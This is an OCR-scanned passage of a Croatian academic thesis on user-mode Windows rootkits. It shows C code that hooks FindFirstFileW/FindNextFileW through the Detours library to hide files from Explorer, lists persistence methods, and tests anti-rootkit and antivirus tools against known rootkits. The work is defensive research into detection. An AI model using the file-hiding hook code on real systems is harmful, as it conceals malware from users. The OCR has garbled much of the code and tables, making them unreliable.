trampoline — odskocnica. Zaobilazna funkcija moze obaviti neki vlastiti posao, pozvati
originalnu funkciju preko odskocnice, promijeniti rezultate originalne funkcije i vratiti
proizvoljni rezultat pozivajucoj funkciji. Pritom originalna funkcija, zaobilazna funkcija i
odskoc¢nica (koja je u sustini takoder funkcija, tocnije neka vrsta pokazivaca na originalnu
funkciju) moraju imati identi¢ne deklaracije: naCin pozivanja funkcije, povratna vrijednost i
parametri moraju biti istovjetni. Princip djelovanja Defours biblioteke prikazan je na slici na
primjeru funkcije rindrirstrilew() koju poziva Windows Explorer, a koja se zamjenjuje



"zloCudnom" funkcijom MojFindrirstrFile(). Kada nije aktivirana "zaobilaznica",
explorer.exe proces poziva funkciju rindrirstrilew() iz kernel32.dll biblioteke koja, nakon
svog izvodenja vraca kontrolu pozivajucoj funkciji iz explorer.exe procesa. Kada se aktivira
zaobilaznica, prvih 5 bajtova funkcije FindrirstFilew() u memorijskom prostoru
kernel32.dll datoteke prepisuje se skokom na funkciju Mojrindrirstrile(). Ta funkcija
putem odskocnice poziva originalni oblik funkcije rindrirstrilew() koja vraca kontrolu
zaobilaznici, a ne pozivajucoj funkciji iz explorer.exe procesa. Zaobilaznica moze promijeniti
rezultate originalne funkcije, obaviti neke druge zadatke, a na posljetku vraca kontrolu
pozivajucoj funkciji iz explorer.exe procesa.

Same funkcije za rad s Detours bibliotekom vrlo su jednostavne i dobro su dokumentirane u
pripadnoj dokumentaciji. Vise o samoj biblioteci moZze se pronaci u [23].

Izmjene u kodu aplikacije su neznatne, potrebno je samo aktivirati zaobilaznicu
odgovaraju¢im funkcijama, nakon $to globalna Windows kuka uoci pokretanje Windows
Explorer aplikacije:

HANDLE WINAPI MojFindFirstFile (LPCWSTR, LPWIN32 FIND DATAW) ;

typedef HANDLE (WINAPI *FINDFIRSTFILE) (LPCWSTR, LPWIN32 FIND DATAW);
BOOL WINAPI MojFindNextFile (HANDLE, LPWIN32 FIND_ DATAW) ;

typedef BOOL (WINAPI *FINDNEXTFILE) (HANDLE, LPWIN32 FIND DATAW) ;

FINDFIRSTFILE stariFFF = FindFirstFileW;
FINDNEXTFILE stariFNF = FindNextFileW;

if(!lstrcmpi (szBuf, szExplorerDir))
{
//ako se sljedec¢i odsjeCak pokrece prvi put (za prvo dijete)
if(!flagEkx)
{
//pokreéemo Detour transakciju (vidjeti u dokumentaciji)

DetourTransactionBegin () ;

//nakon izmjene koda funkcija, sve dretve moraju imati
//ispravne adrese EIP registra. Ovo nije nuZno, jer

//jos niti jedna dretva u ovom trenutku nije aktivna
DetourUpdateThread (GetCurrentThread());

//mijenjamo funkcije FindFirstFileW i FindNextFileW
//vlastitim verzijama

DetourAttach (& (PVOID &) stariFFF, MojFindFirstFile);
DetourAttach (& (PVOID &) stariFNF, MojFindNextFile);

DetourTransactionCommit () ;
//ne Zelimo da se ovaj odsjecak stalno ponavlja, za svaki

//dio explorer prozora
flagEx = true;

Ispis 6.24: Aktivacija zaobilaznice
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Funkcije MojFindFirstFile() 1 MojFindNextFile() vrlo su jednostavne i osnovna im je
zadacéa sakrivanje datoteke/direktorija s imenom koje zapoc€inje nizom znakova ! !$ (taj je
niz znakova proizvoljno odabran jer niti jedna "legitimna" datoteka ne pocinje tim nizom
znakova):

HANDLE WINAPI MojFindFirstFile (LPCWSTR fileName, LPWIN32 FIND DATAW fileData)

{
HANDLE pov;

//pozovi staru verziju FindFirstFileW funkcije
pov = stariFFF(fileName, fileData);
//ako povratna vrijednost nije NULL
if (pov)
{
//provjeri da 1li se traZi upravo datoteka s prefixom ! !$
if (ProvjeriPrefix (fileData))
{
//ako da, pozovi naSu verziju FindNextFileW funkcije
bool povr = MojFindNextFile (pov, fileData);

//ako je vrijednost false (dakle, radi se o datoteci s
//prefixom ! !$), onda vrati FILE NOT FOUND pogresku

if (!povr)

{
SetLastError (ERROR_FILE_NOT_FOUND) ;
pov = INVALID HANDLE VALUE;

//povratna vrijednost je ispravna ruc¢ica ili INVALID HANDLE VALUE u slucaju
//pogreske 11i "sakrivene" datoteke

return pov;

bool ProvjeriPrefix (LPWIN32 FIND DATAW fileData)

{
char prefix[10];

//ime datoteke Jje Unicode pa moramo prebaciti ime u Multibyte charset

int size = WideCharToMultiByte (0, 0, (LPCWSTR) fileData->cFileName, -1, NULL,
0, NULL, 0);

//varijabla imeDatoteke sadrZavat ¢e ime datoteke koja se trenutno "trazi"

char *imeDatoteke = (char *) VirtualAlloc(NULL, size, MEM COMMIT,
PAGE_READWRITE);

WideCharToMultiByte(CPiACP, WC_NO BEST FIT CHARS, (LPCWSTR) fileData
->cFileName, -1, imeDatoteke, size, NULL, NULL);

//prvih 5 znakova imena stavljamo u polje prefix
strncpy_ s (prefix, 10, imeDatoteke, 5);

VirtualFree (imeDatoteke, 0, MEM RELEASE);
//ako je prefix jednak ! !$, onda Zelimo doticénu datoteku sakriti

if (!strcmp (prefix, "! !S$")) return true;

return false;

Ispis 6.25: Funkcije voiFindFirstFile () I ProvijeriPrefix ()



BOOL WINAPI MojFindNextFile (HANDLE hFile, LPWIN32 FIND DATAW fileData)

{
BOOL pov;

//pozivamo staru verziju funkcije FileNextFileW
pov = stariFNF (hFile, fileData);

//ako je povratna vrijednost true

if (pov)

{
//sve dok c¢itamo datoteke s prefixom ! !$, njih Zelimo sakriti
while (ProvjeriPrefix (fileData))

{
//zovi dalje staru verziju funkcije
pov = stariFNF (hFile, fileData);

//ako nam je rezultat stare verzije false, Zelimo izaéi
//van
if (!pov) break;

}

//vra¢amo true u slucaju da je datoteka nadena i da ne pocinje
//prefixom ! !$, inace vracamo false

return pov;

Ispis 6.26: vojrindNextFile () funkcija
Sve funkcije su dobro dokumentirane i nije ih potrebno detaljnije razjasniti.

lako je metoda mijenjanja koéda pri izvodenju jedna od najboljih metoda koju napada¢ moze
koristiti za "otimanje" funkcija u korisnickom nacinu rada (u jezgrinom nacdinu se metoda
takoder koristi, no na nesto druk¢iji nacin), njezina realizacija pomoc¢u Detours biblioteke nije
idealna. Kada neka aplikacija koristi Defours biblioteku, ona mora imati pristup detoured.dl!
datoteci. Prisutnost te datoteke u nekom direktoriju kod paZzljivog korisnika moze pobuditi
sumnju u zlocudne aktivnosti. Takoder, Defours biblioteka koristi posebne oznake kojima
"oznacava" ciljne funkcije koje se zaobilaze 1 uzimajuéi u obzir te oznake, mogu se otkriti
funkcije koje su "otete", kao 1 funkcije koje se koriste umjesto tih funkcija.

Napadaci umjesto toga koriste neku vrstu vlastite implementacije Detours biblioteke, tj. ru¢no
stvaraju odskoc¢nicu i zamjenjuju prvih 5 bajtova ciljne funkcije skokom na zaobilaznu
funkciju. Postupak nije trivijalan jer program mora prepoznavati instrukcije i njihove duljine
kako bi mogao ispravno stvoriti odsko¢nicu, no za iskusnog napadaca to ne predstavlja veci
problem, a javno su dostupni brojni primjeri tog postupka (ukljucujuéi i kdd same Detours
biblioteke).

IATMethod program najsloZeniji je do sada opisan program, no i on ima (znatne) nedostatke.
Pazljiviji Citatelj sigurno je uocio da se kdd IATMethod.dll datoteke ukljucuje u svaki
pokrenuti program (uz odredene iznimke koje ¢e biti opisane kasnije), no samo u slucaju
Windows Explorer 1 Task Manager aplikacija obavlja se "otimanje" funkcija. Jasno je da ¢e
bilo koja druga aplikacija koja prikazuje aktivne procese (npr. Process Explorer ili Security
Task Manager [8a]) ili datoteke/direktorije (npr. xplorer2 [9a] ili Total Commander [10a])
bez ometanja prikazati sve datoteke, direktorije i procese koji bi trebali biti skriveni. U
pojednim slucajevima taj je problem jednostavno rijesiti jer neke aplikacije koriste iste
funkcije kao 1 one koje su "otete" u Windows Explorer i Task Manager aplikaciji (npr.



xplorer2 aplikacija koristi funkcije FindrirstFile () 1 FindNextFile () za "pretragu" datoteka i
direktorija). No Cesto aplikacije koriste sasvim razli¢ite metode i funkcije za prikaz procesa i
datoteka odnosno direktorija. Najbolji primjer takve aplikacije je Process Explorer koji koristi
vlastiti upravljacki program i vlastite nacine interakcije sa strukturama operacijskog sustava u
svrhu pribavljanja liste aktivnih procesa. Takvu aplikaciju je ovakvom metodom gotovo
nemoguce zlorabiti (iako je moguée otimanje na nizem nivou, brojni alati za prikrivanje
prisutnosti napadaca uspjesno skrivaju procese od Process Explorer aplikacije).

Jos jedan problem predstavljaju aplikacije u komandnoj liniji. Mehanizam Windows kuka ne
prepoznaje pokretanje konzolne aplikacije zbog specificnosti komandne linije. I4TMethod
program se oslanja na Windows kuke i zbog toga ne moze detektirati jednostavne konzolne
naredbe poput naredbe dir koja ¢e prikazati "sakrivene" datoteke i direktorije koje Windows
Explorer istovremeno nece prikazati. Windows kuke koriStene su kako bi se proizvoljni kod
ubacio u adresni prostor aplikacije i kako bi se na taj nacin presrele pojedine funkcije, tj.
modificiralo ponaSanje aplikacije.

Jedna od metoda ubacivanja proizvoljnog kdda u adresni prostor bilo koje aplikacije je
stvaranje udaljene dretve pozivom funkcije createremoteThread () koja stvara dretvu koja se
izvodi u kontekstu proizvoljne aplikacije. Postoje brojne metode umetanja proizvoljnog koda i
podataka u adresni prostor aplikacije, no navedene su samo one koje su najcesce koristene.

Imaju¢i navedene ¢injenice na umu, napadac vrlo jednostavno moZze napisati program koji
pretrazuje listu trenutno aktivnih procesa i u tablici uvoznih adresa (ali ne samo u toj tablici
ve¢ 1 na ostalim relevantnim lokacijama — podsjetimo se Windows Explorer aplikacije) 1 u
svaki proces koji koristi funkcije koje Zelimo oteti, ume¢e zlo¢udni kod i "otima" funkcije.
Takwvu aplikaciju zainteresirani Citatelj moze vrlo lako sam napisati koristeci se informacijama
navedenima u ovom radu.

IATMethod aplikacija ima jo$ jedan nedostatak tehnicke prirode koji je ovdje napravljen
namjerno i sa svthom. U slucaju da korisnik zaustavi Worker.exe proces zaduZen za
postavljanje 1 micanje kuke prije no Sto je zaustavljena Task Manager ili Windows Explorer
aplikacija, operacijski sustav ¢e dojaviti pogresku (u slucaju jezgrinog nacina rada, radilo bi
se o plavom ekranu smrti) jer ¢e aplikacija pokusati pozvati (zlocudnu) funkciju koja viSe ne
postoji. Problem se moze vrlo lako izbje¢i poniStavanjem svih izmjena nakon micanja
Windows kuke, a taj je korak ostavljen zainteresiranom c¢itatelju kao vjezba.

Prikazane metode predstavljaju temelj alata za prikrivanje prisutnosti napadaca koji djeluju u
korisnickom nacinu rada. U ovom obliku, niti jedan prikazani program ne zahtijeva
administratorske privilegije 1 kao takav predstavlja vrlo veliku opasnost za korisnika. Ipak,
buduéi da su (u ovom obliku) prikazani programi zapravo memorijski nepostojani alati za
prikrivanje prisutnosti napadaca, prema slici 5.1, nakon ponovnog pokretanja sustava vise
nisu djelatni 1 u potpunosti gube svoju funkcionalnost. Ukoliko napadac zeli osigurati da alat
ostane aktivan i nakon ponovnog pokretanja sustava, dostupne su mu brojne metode koje u
sustini zahtijevaju administratorske privilegije.

Najpoznatije metode (prema [24]) navedene su u tablici 6.1 poCevsi od najjednostavnijih
prema onim slozenijima.



METODA TEZINA DETEKCIJA PRIVILEGIE OPIS

vrlo jednostavno vrlo jednostavno korisnicke ili modifikacija kljuca u sustavskom registru
administratorske ~ omogucava pokretanje programa svaki put kada se
korisnik prijavi na sustav

vrlo jednostavno vrlo jednostavno korisnicke .ini datoteke predstavljaju zastarjeli (ali podrzani)
nacin pokretanja obi¢nih ili upravljackih
programa. Modifikacijom datoteka moguce je
posti¢i pokretanje bilo kojeg programa

vrlo jednostavno vrlo jednostavno  administratorske bilo koji upravljacki program moze se
“registrirati” na nacin da se pokrece pri pokretanju
sustava. Budu¢i da se modificira sustavski
registar, zastitni programi vrlo lako otkrivaju ovu
metodu

jednostavno vrlo jednostavno  ovisno o aplikaciji program se moze registrirati kao dodatak (engl.
add-on) nekog uobicajenog programa, npr.
Internet preglednika. Prilikom pokretanja

preglednika pokrece se i dodatak, tj. zlo¢udni

program
relativno slozeno relativno korisnicke (za bilo koji program ili upravljacki program koji se
jednostavno normalne aplikacije) pokrece pri podizanju sustava moze biti
ili administratorske modificiran (na disku ili “prisiljen” da ucita
(za upravljacke zlo¢udnu d// datoteku)
programe)
vrlo slozeno slozeno administratorske napada¢ moze modificirati jezgru operacijskog
sustava (ntoskrnl.exe), modificirajuéi istodobno i
“podizatelja sustava” (engl. boot loader) kako bi
nova jezgra prosla provjeru integriteta
vrlo slozeno slozeno — administratorske (uz napada¢ moze modificirati prve sektore diska tako
iznimno slozeno  odredene ranjivosti da se pri pokretanju operacijskog sustava
moguce je vrsiti modificira jezgra operacijskog sustava
izmjene samo sa proizvoljnim kodom
korisnickim
privilegijama)

Tablica 6.1: Metode koje osiguravaju ponovno pokretanje zlocudnog programa

Ovim pregledom zavrSava opis alata za prikrivanje prisutnosti napadaca u korisnickom nac¢inu
rada. Pregled funkcionalnosti u ovom poglavlju niposto nije potpun: nisu opisane vrlo vazne
(uglavnom uvijek prisutne) funkcionalnosti kao $to je prikupljanje lozinki za prijavu na sustav
(engl. logon password), skrivanje mreznog prometa i omogucavanje prijave napadaca na
sustav (u obliku malog "posluziteljskog" dijela programa). Gotovo svi poznati alati za
prikrivanje prisutnosti napadaca posjeduju tu funkcionalnost i o njima govori sljedece
poglavlje.

U sljede¢em poglavlju testirani su poznati zaStitni programi na popularnim operacijskim
sustavima koriste¢i najpoznatije alate za prikrivanje prisutnosti napadaca u korisnickom
nacinu rada.



7. Ispitivanje sposobnosti detekcije zaStitnih aplikacija

U poglavlju 4 opisana je metodologija testiranja i operacijski sustavi — gosti koji se koriste
prilikom testiranja. U ovom poglavlju opisan je antivirusni i zaStitni softver i ispitana su
svojstva prevencije i detekcije tog softvera na uzorku najpoznatijih alata za prikrivanje
prisutnosti napadaca koji djeluju u korisnickom nacinu rada.

U tablici 7.1 naveden je koriSteni zastitni softver i sposobnosti i specifi¢nosti tog softvera.

AKR AVG8.0 FSECURE GMER GMER KASPERSKYNIAP ANTI- USEC ROOTKIT
2.007 b100 BLACKLI-CATCHME ANTIVIRUS ROOTKIT RADIX REVEALER
FREE GHT 8.0

ANTIVIRUSNA [B5% v X * X X v X X X

KOMPONENTA

PROAKTIVNA [V v X * X % v X X X

KOMPONENTA

ANTIROOTKIT ¥/ X v v v X v v v
KOMPONENTA

ANTIKEYLO- [V X X X vX X X X X

GGER S
KOMPONENTA

VLASTITA VR4 v v v X v v X
LISTA

PROCESA I/ILI

UPRAVLJACKIH
PROGRAMA

LISTA X X X v v X X v X

WINDOWS
SERVISA

DETEKCLA [N X v v X v okEEE v
(PRIKAZ)

MODIFIKACIJA
SUSTAVSKOG
REGISTRA

LISTA v X % v v X v v X

"OTETIH"
SISTEMSKIH
I/ILI API
POZIVA

LISTANTFS V] X X X v X X v X
ADS TOKOVA

Tablica 7.1: Popis ispitanih zastitnih aplikacija



Komentari:

* - F-Secure BlackLight se moze preuzeti kao Client Security koji ima
antivirusnu i proaktivhu komponentu.

** - GMER se moze konfigurirati tako da mu antivirusnu komponentu

predstavlja neki besplatni web antivirusni program.

**%% _ Jako nema moguénost direktnog otkrivanja keylogger aplikacija,

promatraju¢i rezultate kompletnog pregleda sustava moguce je ponekad uociti
takvu aktivnost.

**%%* _ Vrlo nestabilna funkcionalnost.

U gornjoj tablici nalazi se 1 antivirusni softver i specijalizirani softver za otkrivanje alata za
prikrivanje prisutnosti napadaca. Budu¢i da te dvije vrste softvera nisu usporedive po
funkcionalnostima koje se u ovom radu zahtjevaju, rezultati testiranja ¢e se vrednovati
razli¢ito, ovisno o tome da li je rijeC o antivirusnom softveru ili "antirootkit" aplikaciji.

Uz klasifikaciju zaStitnog softvera, u tablici 7.2 nacinjena je i klasifikacija alata za prikrivanje
prisutnosti napadaca u korisnickom nacinu rada s obzirom na svojstva i funkcionalnost. Pri
odabiru alata nastojalo se prije svega ukljuciti alate koji funkcioniraju u korisnickom nacinu
rada. Budu¢i da takvi alati nisu toliko Cesti kao oni koji djeluju u jezgrinom nacinu rada, izbor
je pao na 4 alata za prikrivanje prisutnosti napadaca. Od ta 4 alata, 3 su navedena u tablici, a
samo AFX 2005 Rootkit nije uvrsten jer je pokazao iznimne nestabilnosti pri radu i nikakva
mjerenja nisu mogla biti izvrSena. Odstupanje od isklju¢ivo korisnickog nacina rada
predstavlja Hacker Defender rootkit koji koristi upravljacki program. Ipak, same tehnike koje
upotrebljava gotovo se u potpunosti oslanjaju na korisnicku razinu te je zbog toga svrstan u
dolje navedenu skupinu. Testiranje je bilo izvrSeno tako da se na Cisti sustav ugradio zlo¢udni
alat, izvrSila su se ispitivanja 1 analizirali rezultati, a potom je sustav bio vracen na inicijalno
stanje. Zbog potrebe testiranja, svi su alati bili ugradeni u sustav KkoriStenjem
administratorskog racuna (jer sigurnosni alati zahtjevaju uglavnom administratorske
privilegije), no iz tablice je vidljivo da ne zahtjevaju svi alati nuzno administratorske
privilegije.

Svi alati (osim onih koji su opisani u ovom radu) preuzeti su sa stranice [25].



HACKERDEFENDER NTlllusion Vanquish Naive- Naive- I|ATMethod
(hxdef) Improved Logger

memorijski postojani memorijski memorijski postojani memorijski memorijski memorijski
postojani (DLL umetanje) nepostojaninepostojani nepostojani

HNAA[N=(cl] =2 dministratorske/power korisnicke — administratorske  korisnicke korisnicke korisnicke
user

N/XEINIY XYW Korisnicki + jezgreni korisnicki korisnicki korisni¢ki korisnicki  korisnicki
(upravljacki program)

SKRIVANJE v v X v v v
PROCESA

SKRIVANJE v v v X X v
DATOTEKA/DIRE

KTORIJA

SKRIVANJE v v v X X X
KLJUCEVA U

SUSTAVSKOM
REGISTRU

SKRIVANJE v X v X X X
SERVISA

SKRIVANJE v v X X X X
MREZNOG

PROMETA

SKRIVANJE v v X X X X
MODULA |

OSTALIH
OBJEKATA
SUSTAVA

UPOTREBA ADS X X X X X X
TOKOVA

PRESRETANJE X X X X v X
UNOSA S

TIPKOVNICE

PRIKUPLJANJE X v v X X X
LOZINKI ZA

PRIJAVU NA
SUSTAV

PRISTUP S v v X X X X
MREZE

PROGRAMSKI Delphi + C + asm C C C/C++ C/C++ C/C++
JEZIK




Tablica 7.2: Popis alata za prikrivanje prisutnosti napadaca i njihovih funkcionalnosti

Prilikom provodenja testiranja ukazala se potreba za vrednovanjem i ocjenjivanjem
uspjeSnosti  pojedinih zastitnih aplikacija u pogledu otkrivanja zlo¢udnih aktivnosti i
eventualnog ispravljanja zlo¢udnih modifikacija. Problem ocjenjivanja pokazao se vrlo slozen
zbog velikih razlika u funkcionalnostima aplikacija i iz ¢injenice da su aplikacije pokazale
drasti¢ne razlike u sposobnostima otkrivanja zlo¢udnih aktivnosti.

Zbog prostornih i vremenskih ograni¢enja prilikom testiranja i nastanka rada, stvorena je
osnovna (a time i donekle neprecizna) shema ocjenjivanja uspjesnosti pojedinih aplikacija
prikazana na slici 7.1.

Mogucnost ispravaka
Otkrivanje skrivenih Otkrivanje keylogger modifikacija zlocudnih
procesa prisutnosti programa

o Z > @ o
'--.._.‘___-1
Otkrivanje skrnrenlh Otkrivanje skrivenih Prikaz modifikacija

datoteka kljueva u sustavskom APl poziva
registru

Slika 7.1: Shema (kategorije) ocjenjivanja zastitnih aplikacija

Ocjenjivanje se vrsi na temelju 6 kategorija prikazanih na slici pri ¢emu sve kategorije imaju
jednaku tezinu, osim zadnje kategorije (mogucnost ispravka modifikacija zlocudnih
programa) koja ima neSto vecu tezinu jer je znatno teza za implementaciju od ostalih
funkcionalnosti, a i za krajnjeg korisnika ima najveéu vaznost. Cinjenicu da neka zatitna
aplikacija ima implementiranu neku od navedenih funkcionalnosti oznacavamo obojanom
zvjezdicom ispod doti¢ne kategorije. Kada je neka funkcionalnost samo djelomice
implementirana (ili pokazuje nestabilnosti), tada je zvjezdica dopola popunjena.

Za antivirusne aplikacije morala se primijeniti druga metoda ocjenjivanja jer niti jedna
antivirusna aplikacija koja je testirana nije imala vlastitu listu aktivnih procesa ili servisa i nije
otkrivala skrivene datoteke, procese i ostale objekte. lako antivirusne aplikacije imaju
proaktivnu zaStitu, ona se ne odnosi na zlo¢udno ponasanje samih aplikacija, ve¢ na staticku
detekciju zlo¢udnog koda unutar nepokrenute datoteke, iz ¢ega je jasno da se novi alati za
prikrivanje prisutnosti napadaca, kao 1 oni stari uz pametne 1 "agresivne" modifikacije koda
neée moci otkriti. Zbog toga je pri ocjenjivanju antivirusnih aplikacija koriStena vrlo
neprecizna 1 jednostavna metoda: ako aplikacija otkrije zlo¢udni kdéd, dobiva "prolaznu
ocjenu", a inace se smatra da nije zadovoljila na doticnom testu. Kasnije ¢e biti objasnjeno
zaSto su antivirusne aplikacije uopcée uzete u obzir jer je to jedan od vrlo vaznih zakljuc¢aka
ovoga rada. Rezultati testiranja prikazani su u tablicama koje slijede.
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ROOTKIT REVEALER

Komentari:

* - GMER Catchme kao 1 brojne druge aplikacije pokazale su izrazitu nestabilnost pri radu s N71llusion alatom. To se pripisuje
nestabilnosti samog alata, a ne njegovoj sposobnosti da izbjegne detekciju i odstranjivanje sa sustava. Oznaka u tablici oznacava da se
GMER Catchme program nije uspio pokrenuti.

** - Pri detekciji skrivenih datoteka 1 direktorija doslo je do ruSenja programa. Buduc¢i da se ovakvo rusenje dogodilo samo za GMER
Catchme, moze se pretpostaviti da je to greska alata, a ne Vanquish rootkita.

*#% _ Isto kao 1 pod *, iako se NIAP Antirootkit alat uspio privremeno pokrenuti no pokazao je iznimne nestabilnosti u radu.

*Ask _ Isto kao 1 pod *.

*asxk - Detekeija svih elemenata koji su nabrojani na slici funkcionirala je besprijekorno, no pri pokusaju ispravljanja modifikacija koje
je napravio Vanquish rootkit, pojavile su se nestabilnosti u radu i ruSenje programa.



U tablicama su navedene ocjene pojedinih zaStitnih aplikacija pri otkrivanju zlo¢udnih
aktivnosti. Vidljivo je da se sposobnosti detekcije uvelike razlikuju za razlicite aplikacije, pa
cak 1 za istu aplikaciju pri otkrivanju razli¢itih zlo¢udnih programa. Bitno je napomenuti da
nisu dane konacne ocjene za pojedine aplikacije zbog teSkoce vrednovanja sposobnosti
detekcije — primjerice, iako je GMER Catchme bio vrlo uspjeSan pri detekciji Hacker
Defender alata (otkrio je skrivene datoteke, skrivene procese 1 modifikacije registra), pri
detekciji  Vanquish alata otkrio je samo modifikacije registra, §to se ne smatra
zadovoljavaju¢im rezultatom. Zbog toga je vrlo tesko dati jednoznacnu ocjenu nekom alatu i
na temelju tih ocjena napraviti ljestvicu alata.

Iz tablica je jasno vidljivo da je Naive-Improved i NaiveLogger aplikacije detektirao samo
jedan alat na testu — AKR 2.007 (koji je inac¢e imao vrlo loSu detekciju i nalazi se na samom
dnu testiranih alata). AKR 2.007 uspio je otkriti postavljanje Windows kuke 1 automatski je
oznacio program kao zlo¢udan, to¢nije kao program s keylogger sposobnostima, §to za Naive-
Improved program nije tocno. Alat je zlo¢udnu aktivnost otkrio dakle slucajno i zbog toga se
takva detekcija ne smatra sasvim "pravilnom".

Nemoguénost detekcije Naive-Improved alata bila je donekle o€ekivana jer alat ne koristi
nikakve napredne tehnike, ne skriva datoteke i procese na uobicajen nacin, ne presrece API
funkcije i opcéenito se ne moze karakterizirati kao "opasan", iako to nije sasvim tocno (procesi
su ipak donekle skriveni). Razlog za "zabrinutost" u ovom slucaju predstavlja globalna kuka
koju postavlja Naive-Improved program i koju nije otkrila niti jedna druga aplikacija osim
AKR 2.007. Globalne kuke same po sebi nisu opasne, no vrlo ¢esto su znak zlo¢udnih
aktivnosti. Jo§ veci razlog za zabrinutost predstavlja Cinjenica da niti jedna druga aplikacija
nije otkrila keylogger aktivnost! Iako je istina da testirane aplikacije nisu specijalizirane za
otkrivanje takve aktivnosti, zaista je ¢udno da niti jedna zaStitna aplikacija (osim veé
navedene koja je to otkrila relativno "slucajno") nije otkrila tako opasnu aktivnost kao $to je
presretanje unosa s tipkovnice. Metoda koriStena u NaiveLogger aplikacije nije nimalo
sofisticirana 1 slozena, radi se o najjednostavnijoj metodi presretanja unosa s tipkovnice koja
se vrlo lako otkriva i time dodatno zabrinjava da niti jedna aplikacija nije otkrila aktivnost
NaiveLogger programa. Ta je Cinjenica najbolji dokaz toga da pretjerana specijalizacija alata i
koncentriranje na jedno podrucje moze dovesti do potpunog zanemarivanja nekih drugih,
"jednostavnih" i relativno lako uocljivih zlo¢udnih aktivnosti. Korisnik se zbog toga ne bi
smio koncentrirati na jedan alat koji obavlja sve zadace zastite jer takav ne postoji, ve¢ bi
trebao koristiti odredeni skup zastitnih aplikacija.

Od testiranih alata svakako treba izdvojiti dva: GMER 1 USEC RADIX. lako je GMER
namijenjen otkrivanju alata koji djeluju u jezgrinom nacinu rada, zanimljivo je da je pokazao
znatno bolje rezultate nego verzija Catchme koja je specijalizirana za korisni¢ki nacin rada.
Program je bio vrlo uspjeSan u otkrivanju svik zlo¢udnih aktivnosti, osim skrivanja procesa u
IATMethod aplikaciji, uz obilan ispis modifikacija, mogucénost zaustavljanja skrivenih
procesa, preimenovanja ili brisanja skrivenih datoteka, popravljanja izmjenjenih API funkcija
i brojnih drugih mogucénosti. Sli¢na svojstva ima i USEC RADIX aplikacija koja je doduse
pokazala nestabilnosti pri otkrivanju aktivnosti N71/lusion alata (Sto se pripisuje greSkama u
samom NTIllusion alatu), ali je zato otkrila modifikacije u Windows Explorer aplikaciji koje
je nacinila I4TMethod aplikacija i uspjeSno ih ispravila (nakon ispravljanja su datoteke i
direktoriji ponovno bili vidljivi), Sto GMER alat nije uspio. Ta dva programa zasigurno su



najbolje trenutno dostupne zastitne aplikacije specijalizirane za otkrivanje alata za prikrivanje
prisutnosti napadaca.

U domeni antivirusnih aplikacija stvar je mnogo jednostavnija. Sve antivirusne aplikacije
(testiranje je bilo izvrSeno dodatno i sa Sophos Antivirus 1 Avast Antivirus aplikacijama, no
zbog identi¢nih rezultata one nisu uvrStene u gornju tablicu) otkrile su sve "poznate" alate za
prikrivanje prisutnosti napadaca, no oni koji su izgradeni u okviru ovog rada nisu otkriveni.
Razlog tome je Sto se antivirusne aplikacije temelje na definicijama koje su u vecoj ili manjoj
mjeri statiCke. Kada se u svijetu pojavi nova zlocudna aplikacija, autori antivirusnog softvera
dodaju novu definiciju u svoj proizvod kako bi on mogao otkriti i tu novostvorenu opasnost.
"neprijavljene" zlo¢udne programe, no i iz testiranja je sasvim oc€ito da nisu sasvim uspjesne u
tome. Jo§ veci razlog za zabrinutost proizlazi iz Cinjenice da se i modifikacijom kdda
poznatog zloCudnog alata (ili koriStenjem nekih naprednijih tehnika kao §to su takozvani
mutatori koji mijenjaju kod aplikacije uz nepromijenjenu funkcionalnost) antivirusna
aplikacija moZze vrlo lako "prevariti" i zaobiéi.

Poznavajuéi navike obic¢nih korisnika koji koriste samo antivirusnu aplikaciju vjerujuci da su
u potpunosti sigurni od bilo kakvih "napada", jasno je da napadaci nalaze vrlo plodno tlo za
Sirenje svojih zlo¢udnih programa. Lazna sigurnost koju stvaraju antivirusne aplikacije vrlo je
opasna i mnogo bi se paznje trebalo posvetiti educiranju korisnika i naglasavanju vaznosti
ujednacenog Koristenja osnovnog skupa zastitnih aplikacija kojeg Cine antivirusna aplikacija,
zaStitna stijena, aplikacija za otkrivanje alata za prikrivanje prisutnosti napadaca i (pomalo
neocekivano) aplikacija za otkrivanje presretanja unosa s tipkovnice.

Uz testirane aplikacije treba dodatno spomenuti i Comodo Personal Firewall aplikaciju. Iako
se radi o zaStitnoj stijeni, aplikacija ima proaktivnu zastitu u obliku Defense+ aplikacije.
Proaktivna zaStita pokazala se vrlo uspjeSnom u otkrivanju svik zlofudnih aktivnosti:
ugradnja Windows kuka, pisanje po adresnom prostoru drugog procesa, stvaranje novih
datoteka, ugradnja upravljackog programa u slucaju Hacker Defender alata, kao i presretanje
unosa s tipkovnice i otkrivanje brojnih drugih aktivnosti. Budu¢i da je rije¢ o zastitnoj stijeni,
aplikacija nije ukljucena u testiranje jer ju je teSko usporediti s testiranim aplikacijama, no
rijeC je o iznimno korisnoj i kvalitetnoj aplikaciji koja ima najbolju proaktivnu zastitu od svih
aplikacija na testu 1 svakako bi se, uz ve¢ navedene aplikacije GMER 1 USEC RADIX trebala
naci u skupu nuznih zastitnih alata.



8. Zakljucak

Velika dinami¢nost ovog podrucja i stalna utrka izmedu napadaca i autora zastitnih aplikacija,
kao 1 velika opasnost koju alati za prikrivanje prisutnosti napadaca predstavljaju osnovni su
razlozi za nastanak ovog rada i upoznavanje s osnovama tih alata.

lako alati za prikrivanje prisutnosti napadaca s korisnickom razinom kao podru¢jem
djelovanja nisu toliko rasprostranjeni kao oni koji djeluju u jezgrenom nacinu rada i iako su
njihove mogucénosti skrivanja slabije nego moguénosti alata koji djeluju na najnizoj razini
operacijskog sustava, svrha rada je bila istaknuti vaznost i opasnost upravo takvih alata koji
djeluju na korisnickoj razini. Brojne zaStitne aplikacije su pretjeranim specijaliziranjem
jednostavno "zanemarile" opasnost koja vreba s korisni¢ke razine i nisu u moguénosti otkriti
zlo¢udno djelovanje takvih aplikacija. Ipak, moguénosti kao Sto su sakrivanje datoteka i
direktorija, procesa, Windows servisa, kljuceva u sustavskom registru, mreznog prometa i
prikupljanje razli¢itih lozinki (Windows logon lozinki, kao 1 lozinki za pristup mreZi i
mreznim servisima kao §to su FTP, HTTP i1 mail posluzitelji, ukoliko sam promet nije
kriptiran) pokazuju da se takvi alati nipo$to ne smiju zanemariti.

IzvrSena testiranja dala su osnovne smjernice ka osnovnom skupu sigurnosnih aplikacija koji
bi se trebao sastojati od antivirusne aplikacije (npr. Avast antivirus), zaStitne stijene
(spomenuti Comodo Personal Firewall s izvanrednom proaktivnom zaStitom svakako bi
trebao biti jedan od prvih izbora korisnika), "antirootkit" aplikacije (GMER ili USEC RADIX)
1 aplikacije za otkrivanje keylogger aktivnosti.

